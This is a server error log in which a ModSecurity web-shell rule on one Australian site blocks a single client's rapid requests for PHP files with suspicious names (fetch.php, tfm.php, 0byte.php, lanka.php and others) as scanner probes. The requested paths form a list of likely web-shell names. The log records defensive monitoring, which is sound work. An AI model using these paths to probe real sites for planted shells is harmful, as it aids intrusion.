[Wed Feb 11 16:34:56.800064 2026] [:error] [pid 22570:tid 22608] [client 158.158.72.18:34458] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aYw_MCE5uSe043FXwQo59wAAAcg"]
[Wed Feb 11 16:34:57.316613 2026] [:error] [pid 22569:tid 22577] [client 158.158.72.18:33905] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aYw_McAhSI7iX9G3enj9GwAAAYQ"]
[Wed Feb 11 16:34:57.934494 2026] [:error] [pid 28073:tid 28094] [client 158.158.72.18:34556] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aYw_MYeHYIlOlF-DsMx7GgAAANM"]
[Wed Feb 11 16:34:58.522388 2026] [:error] [pid 22570:tid 22614] [client 158.158.72.18:33369] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aYw_MiE5uSe043FXwQo5-wAAAc4"]
[Wed Feb 11 16:34:59.080648 2026] [:error] [pid 28073:tid 28088] [client 158.158.72.18:33794] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "aYw_M4eHYIlOlF-DsMx7GwAAAM0"]
[Wed Feb 11 16:34:59.570473 2026] [:error] [pid 28073:tid 28075] [client 158.158.72.18:34550] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "aYw_M4eHYIlOlF-DsMx7HgAAAMA"]
[Wed Feb 11 16:35:00.279665 2026] [:error] [pid 27964:tid 27999] [client 158.158.72.18:33839] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "aYw_NMp0XgWYHLcQtEiV3gAAABg"]
[Wed Feb 11 16:35:01.085849 2026] [:error] [pid 27965:tid 28026] [client 158.158.72.18:33354] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "aYw_NdHLAUAIo8qpZyEgVgAAAFc"]
[Wed Feb 11 16:35:01.613078 2026] [:error] [pid 28073:tid 28095] [client 158.158.72.18:33808] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fetch.php"] [unique_id "aYw_NYeHYIlOlF-DsMx7JgAAANQ"]
[Wed Feb 11 16:35:02.162865 2026] [:error] [pid 27965:tid 28025] [client 158.158.72.18:33348] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fetch.php"] [unique_id "aYw_NtHLAUAIo8qpZyEgWgAAAFY"]
[Wed Feb 11 16:35:02.738590 2026] [:error] [pid 22570:tid 22605] [client 158.158.72.18:34444] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fetch.php"] [unique_id "aYw_NiE5uSe043FXwQo5_QAAAcU"]
[Wed Feb 11 16:35:03.266444 2026] [:error] [pid 17401:tid 17415] [client 158.158.72.18:33792] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fetch.php"] [unique_id "aYw_Nw0lHeayTY40t340UgAAAQw"]
[Wed Feb 11 16:35:03.901591 2026] [:error] [pid 27964:tid 27983] [client 158.158.72.18:32633] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aYw_N8p0XgWYHLcQtEiV4AAAAAg"]
[Wed Feb 11 16:35:04.485416 2026] [:error] [pid 27966:tid 28043] [client 158.158.72.18:33809] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aYw_OF8HJ9ydyf0SPu55BgAAAI0"]
[Wed Feb 11 16:35:04.999173 2026] [:error] [pid 22537:tid 22557] [client 158.158.72.18:34438] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aYw_OCfg2TagwM3bvQPF_QAAAVI"]
[Wed Feb 11 16:35:05.655482 2026] [:error] [pid 27965:tid 28016] [client 158.158.72.18:32597] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aYw_OdHLAUAIo8qpZyEgYQAAAE0"]
[Wed Feb 11 16:35:06.136434 2026] [:error] [pid 22569:tid 22587] [client 158.158.72.18:34551] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tfm.php"] [unique_id "aYw_OsAhSI7iX9G3enj9IQAAAY4"]
[Wed Feb 11 16:35:06.649429 2026] [:error] [pid 27965:tid 28026] [client 158.158.72.18:32636] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tfm.php"] [unique_id "aYw_OtHLAUAIo8qpZyEgYwAAAFc"]
[Wed Feb 11 16:35:07.142507 2026] [:error] [pid 27966:tid 28036] [client 158.158.72.18:34460] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tfm.php"] [unique_id "aYw_O18HJ9ydyf0SPu55CAAAAIY"]
[Wed Feb 11 16:35:07.647175 2026] [:error] [pid 27964:tid 27982] [client 158.158.72.18:34455] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tfm.php"] [unique_id "aYw_O8p0XgWYHLcQtEiV5QAAAAc"]
[Wed Feb 11 16:35:08.294047 2026] [:error] [pid 27964:tid 27975] [client 158.158.72.18:33870] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ak.php"] [unique_id "aYw_PMp0XgWYHLcQtEiV5wAAAAA"]
[Wed Feb 11 16:35:08.794094 2026] [:error] [pid 28073:tid 28078] [client 158.158.72.18:34553] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ak.php"] [unique_id "aYw_PIeHYIlOlF-DsMx7LAAAAMM"]
[Wed Feb 11 16:35:09.351431 2026] [:error] [pid 27964:tid 27988] [client 158.158.72.18:34533] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ak.php"] [unique_id "aYw_Pcp0XgWYHLcQtEiV7QAAAA0"]
[Wed Feb 11 16:35:09.862336 2026] [:error] [pid 27965:tid 28004] [client 158.158.72.18:33404] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ak.php"] [unique_id "aYw_PdHLAUAIo8qpZyEgaAAAAEE"]
[Wed Feb 11 16:35:10.611889 2026] [:error] [pid 17401:tid 17405] [client 158.158.72.18:34464] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-style.php"] [unique_id "aYw_Pg0lHeayTY40t340VgAAAQI"]
[Wed Feb 11 16:35:11.122822 2026] [:error] [pid 28073:tid 28096] [client 158.158.72.18:35088] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-style.php"] [unique_id "aYw_P4eHYIlOlF-DsMx7MgAAANU"]
[Wed Feb 11 16:35:11.615925 2026] [:error] [pid 28073:tid 28086] [client 158.158.72.18:35161] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-style.php"] [unique_id "aYw_P4eHYIlOlF-DsMx7MwAAAMs"]
[Wed Feb 11 16:35:12.139203 2026] [:error] [pid 28073:tid 28082] [client 158.158.72.18:33848] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-style.php"] [unique_id "aYw_QIeHYIlOlF-DsMx7NAAAAMc"]
[Wed Feb 11 16:35:12.689117 2026] [:error] [pid 22569:tid 22593] [client 158.158.72.18:34513] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error_log.php"] [unique_id "aYw_QMAhSI7iX9G3enj9JAAAAZQ"]
[Wed Feb 11 16:35:13.178138 2026] [:error] [pid 22537:tid 22543] [client 158.158.72.18:34558] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error_log.php"] [unique_id "aYw_QSfg2TagwM3bvQPGBgAAAUQ"]
[Wed Feb 11 16:35:13.703444 2026] [:error] [pid 22569:tid 22574] [client 158.158.72.18:33902] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error_log.php"] [unique_id "aYw_QcAhSI7iX9G3enj9JgAAAYE"]
[Wed Feb 11 16:35:14.327866 2026] [:error] [pid 28073:tid 28090] [client 158.158.72.18:34463] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error_log.php"] [unique_id "aYw_QoeHYIlOlF-DsMx7OAAAAM8"]
[Wed Feb 11 16:35:14.957948 2026] [:error] [pid 28073:tid 28098] [client 158.158.72.18:35137] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x0x.php"] [unique_id "aYw_QoeHYIlOlF-DsMx7OgAAANc"]
[Wed Feb 11 16:35:15.502394 2026] [:error] [pid 22570:tid 22620] [client 158.158.72.18:35110] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x0x.php"] [unique_id "aYw_QyE5uSe043FXwQo6CAAAAdQ"]
[Wed Feb 11 16:35:16.307719 2026] [:error] [pid 22569:tid 22594] [client 158.158.72.18:35124] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x0x.php"] [unique_id "aYw_RMAhSI7iX9G3enj9KwAAAZU"]
[Wed Feb 11 16:35:17.022760 2026] [:error] [pid 17401:tid 17403] [client 158.158.72.18:35083] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x0x.php"] [unique_id "aYw_RQ0lHeayTY40t340XQAAAQA"]
[Wed Feb 11 16:35:17.871388 2026] [:error] [pid 27964:tid 27978] [client 158.158.72.18:34476] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0byte.php"] [unique_id "aYw_Rcp0XgWYHLcQtEiV-AAAAAM"]
[Wed Feb 11 16:35:19.237800 2026] [:error] [pid 22537:tid 22546] [client 158.158.72.18:35190] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0byte.php"] [unique_id "aYw_Ryfg2TagwM3bvQPGEQAAAUc"]
[Wed Feb 11 16:35:20.030663 2026] [:error] [pid 22537:tid 22547] [client 158.158.72.18:34468] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0byte.php"] [unique_id "aYw_SCfg2TagwM3bvQPGFAAAAUg"]
[Wed Feb 11 16:35:20.598716 2026] [:error] [pid 27965:tid 28018] [client 158.158.72.18:34482] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0byte.php"] [unique_id "aYw_SNHLAUAIo8qpZyEgegAAAE8"]
[Wed Feb 11 16:35:21.387134 2026] [:error] [pid 27964:tid 27992] [client 158.158.72.18:34462] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "aYw_Scp0XgWYHLcQtEiV-QAAABE"]
[Wed Feb 11 16:35:22.241599 2026] [:error] [pid 17401:tid 17415] [client 158.158.72.18:34509] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "aYw_Sg0lHeayTY40t340YAAAAQw"]
[Wed Feb 11 16:35:23.348557 2026] [:error] [pid 22569:tid 22593] [client 158.158.72.18:35163] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "aYw_S8AhSI7iX9G3enj9MgAAAZQ"]
[Wed Feb 11 16:35:24.546320 2026] [:error] [pid 22537:tid 22547] [client 158.158.72.18:35194] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "aYw_TCfg2TagwM3bvQPGHgAAAUg"]
[Wed Feb 11 16:35:25.293622 2026] [:error] [pid 27964:tid 27984] [client 158.158.72.18:35101] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/logs1.php"] [unique_id "aYw_Tcp0XgWYHLcQtEiV_wAAAAk"]
[Wed Feb 11 16:35:25.799202 2026] [:error] [pid 22537:tid 22554] [client 158.158.72.18:35158] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/logs1.php"] [unique_id "aYw_TSfg2TagwM3bvQPGIgAAAU8"]
[Wed Feb 11 16:35:26.438823 2026] [:error] [pid 27965:tid 28007] [client 158.158.72.18:34549] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/logs1.php"] [unique_id "aYw_TtHLAUAIo8qpZyEgfgAAAEQ"]
[Wed Feb 11 16:35:27.059865 2026] [:error] [pid 27964:tid 27989] [client 158.158.72.18:34456] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/logs1.php"] [unique_id "aYw_T8p0XgWYHLcQtEiWGgAAAA4"]
[Wed Feb 11 16:35:27.581329 2026] [:error] [pid 28073:tid 28086] [client 158.158.72.18:34485] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/35.php"] [unique_id "aYw_T4eHYIlOlF-DsMx7WAAAAMs"]
[Wed Feb 11 16:35:28.099986 2026] [:error] [pid 27965:tid 28014] [client 158.158.72.18:33883] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/35.php"] [unique_id "aYw_UNHLAUAIo8qpZyEgggAAAEs"]
[Wed Feb 11 16:35:30.372337 2026] [:error] [pid 28073:tid 28099] [client 158.158.72.18:33841] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/35.php"] [unique_id "aYw_UoeHYIlOlF-DsMx7bgAAANg"]
[Wed Feb 11 16:35:31.990603 2026] [:error] [pid 27964:tid 27993] [client 158.158.72.18:34442] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/35.php"] [unique_id "aYw_U8p0XgWYHLcQtEiWQgAAABI"]
[Wed Feb 11 16:35:32.926202 2026] [:error] [pid 27965:tid 28023] [client 158.158.72.18:35156] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lanka.php"] [unique_id "aYw_VNHLAUAIo8qpZyEghwAAAFQ"]
[Wed Feb 11 16:35:33.453905 2026] [:error] [pid 22570:tid 22603] [client 158.158.72.18:33399] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lanka.php"] [unique_id "aYw_VSE5uSe043FXwQo6HAAAAcM"]
[Wed Feb 11 16:35:34.767240 2026] [:error] [pid 27965:tid 28016] [client 158.158.72.18:35107] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lanka.php"] [unique_id "aYw_VtHLAUAIo8qpZyEgiQAAAE0"]
[Wed Feb 11 16:35:35.393923 2026] [:error] [pid 22570:tid 22620] [client 158.158.72.18:34540] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lanka.php"] [unique_id "aYw_VyE5uSe043FXwQo6IwAAAdQ"]
